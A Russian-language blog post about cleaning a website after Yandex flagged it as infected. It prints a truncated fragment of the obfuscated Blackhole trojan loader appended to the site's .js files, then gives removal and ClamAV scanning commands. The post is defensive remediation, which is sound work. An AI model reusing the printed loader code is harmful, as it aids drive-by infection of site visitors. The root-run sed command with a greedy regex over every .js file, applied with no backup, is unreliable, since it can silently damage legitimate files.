Однажды, я получил письмо от Яндекс.Вебмастер о том, что один из моих сайтов заражён — Сайт содержит код, который может быть опасен для посетителей и, что В настоящий момент сайт выводится в результатах поиска с пометкой «Этот сайт может угрожать безопасности вашего компьютера».
Быстрый анализ показал, что заражены файлы *.js — в конце каждого из них был добавлен код:
try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+='ode';w=this;e=w[f["substr"](11)+zz];n="19$50$57.5$54
.... тут ещё много таких же надписей ....
$19.5$28.5"[((e)?"s":"")+"p"+"lit"]("a$"[((e)?"su":"")+"bstr"](1));for(i=6-2-1-2-1;i-685!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);}
Проанализировав выдачу поисковика на тему поиска и замены текста в файлах linux, я получил несколько вариантов команд для консоли.
Далее, я зашёл в систему по SSH и от имени root выполнил команду
find / -name "*.js" -type f -print0 | xargs -0 sed -i 's/try{q=document.createElement.*}/#cleaned/g'
После её выполнения, все файлы js были очищены от трояна.
Эта команда производит поиск файлов с расширением .js по всему серверу и ищет в них текст, соответствующий регулярному выражению try{q=document.createElement.*}, которое как раз описывает троянца. После чего заменяет этот текст на строку #cleaned
После этого желательно пройтись по всему серверу антивирусом, например clamav.
В семействе RedHat/CentOS установить его можно командой yum install clamav
После чего выполнить команду
clamscan -ri -l /home/scan-report.txt /
Она проведёт сканирование всего сервера рекурсивно и сохранит отчёт в файле /home/scan-report.txt В отчёте будет информация только о заражённых файлах.
Отчёты антивирусов о заразе:
Результат проверки ClamAV — Trojan.Blackhole-483
Результат проверки Comodo — TrojWare.JS.Blacole
Хочу сказать, что есть и другие способы поиска и удаления подстроки в файлах, в том числе и с выводом результатов, созданием бэкапом файлов, и более быстрые варианты с использованием ack-grep.
Например, различные варианты поиска и замены приведены здесь
P.S. Таким образом можно избавляться от различной похожей заразы. Но помните, это лишь устранение симптомов. После обнаружения и лечения заразы, нужно проанализировать сервер на предмет уязвимостей.
Почитать логи в папке /var/log/, файл /var/log/messages, и другие доступные в зависимости от вашего ПО и дистрибутива *nix.
Обновить программное обеспечение, как серверное, так и сами движки сайтов и их модули. И если обновление и настройку серверного ПО нужно отдать одному специалисту, то движки сайтов и их модулей вероятнее всего другому.
Автор: Grox